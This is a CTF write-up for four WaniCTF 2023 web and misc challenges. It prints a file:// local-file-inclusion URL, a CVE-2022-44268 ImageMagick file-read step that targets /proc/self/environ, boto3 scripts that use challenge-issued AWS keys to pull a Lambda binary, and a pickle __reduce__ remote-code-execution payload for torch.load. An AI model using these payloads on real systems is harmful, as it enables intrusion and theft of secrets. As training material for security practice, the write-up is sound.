--- title: WaniCTF Writeup 2023 description: | WaniCTF 2023 Writeup. Web Challenges: - screenshot - certified 2 - Lambda Misc Challenges: - machine_loading image: https://i.imgur.com/6syxaS2.png tags: web exploitation, cve, decompile, ctf writeup --- # WaniCTF 2023 Writeup ![](https://i.imgur.com/6syxaS2.png) In WaniCTF, I participated as a member of the TCP1P team and secured the 12th position out of 840 teams. Here is my write-up for the WaniCTF web challenge, as well as some misc challenges. screenshot - web === ## Description An application that takes screenshots of your favorite websites. :::info https://screenshot-web.wanictf.org ::: :::success [web-screenshot.zip](https://drive.google.com/file/d/1w_dqZVR-NAdOR8144wsFa4oypIuqxNLs/view?usp=sharing) ::: ## Exploit To solve this challenge, we had to exploit a vulnerability in JavaScript that allowed us to bypass a blacklist and perform LFI (Local File Inclusion) through the `file://` protocol. The vulnerable code can be seen in the screenshot below: ![screenshot of vulnerable code](https://i.imgur.com/iN4mLkf.png) To exploit this vulnerability, we could convert the `req.query.url` parameter to a tuple. This would cause the `includes` method to only search for the "http" and "file" strings within the context of a tuple. Here is the payload that we used to solve this challenge: ``` https://screenshot-web.wanictf.org/api/screenshot?url=file:///app/flag.txt&url=http ``` This payload converted the "url" parameter to a tuple, causing it to pass the if statement check: ![screenshot of test](https://i.imgur.com/WTVZnQv.png) After submitting this URL, we received the flag for the challenge. We did it! ![screenshot of flag](https://i.imgur.com/aKZP3cp.png) certified2 - web === ## Description We have released a secure web application using a state-of-the-art language! :::info https://certified-web.wanictf.org ::: There are two flags in this problem. Please submit the flag in file /flag_A to certified1 and one in the environment variable FLAG_B to certified2. Note: "承認, ワニ博士" means "Approved, Dr. Wani" in Japanese. :::info [web-certified1.zip](https://drive.google.com/file/d/1xcg4vk_iyellRtixemao1xLW32JRU-mY/view?usp=sharing) ::: ## Recon To overcome this challenge, we will utilize a security vulnerability known as [CVE-2022-44268](https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC). By exploiting this vulnerability, we can gain unauthorized access to read any file, including the `/proc/self/environ` file, which contains environment variables. We can then retrieve the flag from one of these environment variables. Since it's not possible to directly read `/proc/self/environ` using the CVE mentioned, we need to copy its contents to another file. This can be accomplished by uploading a file to the `/create` endpoint. Copying the contents of `/proc/self/environ` to `/data/{id}/input` is possible because the program will copy the file specified in `input_filename` to the current working directory and rename it as `input`. This can be seen in the code screenshot provided below: ![](https://i.imgur.com/vYu4EBg.png) The `process_image` function is called by the `handle_create()` function, and it uses the `file_name` input parameter as its argument. Therefore, if `/etc/passwd` is provided as an input, it will be copied to the `/data/{id}/input` folder. This function is invoked within the `/create` endpoint handler function, as can be seen in the following image: ![](https://i.imgur.com/m7yIKWv.png) ## Exploiting Now that we understand that we need to copy `/proc/self/environ` to `/data/{id}/input`, we can begin exploiting the application. To begin exploiting the application, we can make a request to the `/create` endpoint similar to the example shown in the following image. This will copy the contents of `/proc/self/environ` to the `/data/{id}/input` directory, as shown in the image: ![](https://i.imgur.com/Jxn197W.png) It's important to note that after this step, we will need to use the `id` value to access the corresponding folder that was created in `/data/`. Next, we can create a PNG file to exploit the ImageMagick vulnerability. We can generate the image using the following command: ```shell pngcrush -text a "profile" "/data/739efc1f-0485-46d1-b7d1-344b9876a3a9/input" <your image>.png ``` Output: ![](https://i.imgur.com/VCWoFWq.png) Executing the previous command will create a new file named `pngout.png` in the current directory. We can then upload this image to the vulnerable website. Once the server returns the image, we can download it and inspect it further using the `identify -verbose <image>` command. The output should resemble the image below: ![](https://i.imgur.com/cl5R227.png) Finally, we can decode the output of the identify command to extract the flag. The flag will be embedded in the output and should be visible once decoded. ![](https://i.imgur.com/MUiFwmu.png) Lambda - web === ## Description The following site returns a flag when you input correct username and password. Now you have the confidential login information for the AWS account of the administrator of this site. Please get through this authentication. :::info https://lambda-web.wanictf.org ::: ## Get AWS Lambda Function Binary In this challenge, you will receive an attachment that contains AWS credentials. You can use the AWS pentesting cheatsheet available at [https://github.com/pop3ret/AWSome-Pentesting/blob/main/AWSome-Pentesting-Cheatsheet.md](https://github.com/pop3ret/AWSome-Pentesting/blob/main/AWSome-Pentesting-Cheatsheet.md) to retrieve information using the provided AWS credentials. To retrieve the name of a Lambda function using the provided AWS credentials, you can use the following payload: ```python import boto3 from pprint import pprint access_key_id = "AKIA4HC66ZQSIGEXVKN7" secret_access_key = "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" region = "ap-northeast-1" client = boto3.client( "apigateway", aws_access_key_id=access_key_id, aws_secret_access_key=secret_access_key, region_name=region ) restApiId = client.get_rest_apis()['items'][0]['id'] print("Rest API ID:", restApiId) resourceId = client.get_resources(restApiId=restApiId)['items'][0]['id'] print("Resource ID:", resourceId) response = client.get_method( restApiId=restApiId, resourceId=resourceId, httpMethod="GET" ) pprint(response) ``` The Lambda function name should be visible in the output of the script, as shown in the following image: ![](https://i.imgur.com/YwfQpBI.png) Once you have retrieved the name of the Lambda function, you can use the following script to retrieve the function binary from the AWS server: ```python client = boto3.client("lambda", aws_access_key_id=access_key_id, aws_secret_access_key=secret_access_key, region_name=region) response = client.get_function(FunctionName="wani_function") pprint(response) ``` After running the previous script, you should see an output similar to the following image: ![](https://i.imgur.com/dKTMKAZ.png) Next, you can access the URL that was printed in the output to retrieve the zip file containing the binary of the Lambda function. Once you have received the zip file and extracted its contents, you will need to decompile the .NET binary. One way to do this is to use an extension for Visual Studio Code named `ILSpy`. After decompiling the binary, you should be able to see the flag in the decompiled output, as shown in the following image: ![](https://i.imgur.com/HNcTdqV.png) machine_loading - misc === ## Description I'm creating a website where users can test machine learning models. It's not completed yet, but I've already created the part that loads a model. The format of the model will be .ckpt, which we all use a lot! :::info https://machine-mis.wanictf.org ::: :::success [mis-machine-loading.zip](https://drive.google.com/file/d/1sPz1QbCy_DrecBkB3mESAsix41_Pz0fJ/view?usp=sharing) ::: ## Exploit In this challenge, we will receive a part of the server's source code. The code uses the PyTorch module and loads a model from a file that we upload using the torch.load() function. After conducting some research in the PyTorch documentation, I discovered that using the torch.load() function with untrusted user input can be dangerous. This information is stated in the documentation, as shown below: ![](https://i.imgur.com/FejXt64.png) Now that we have this payload, we can use it to achieve Remote Code Execution (RCE) on the machine. ```python= import torch PATH = "model.ckpt" class P(object): def __reduce__(self): return (exec, ("raise Exception(__import__('os').popen('cat flag.txt').read())",)) torch.save(P(), PATH) ``` The payload above will trigger an exception that contains our Remote Code Execution (RCE) code, which will read the file "flag.txt" in the current directory. As a result, our RCE code will become visible via a "try-except" block that returns the exception string. You can see this in the source code below: ![](https://i.imgur.com/9ey02hO.png) After running that code and uploading the file to the server, we will receive the flag as shown in the image below: ![](https://i.imgur.com/hPcQIqE.png)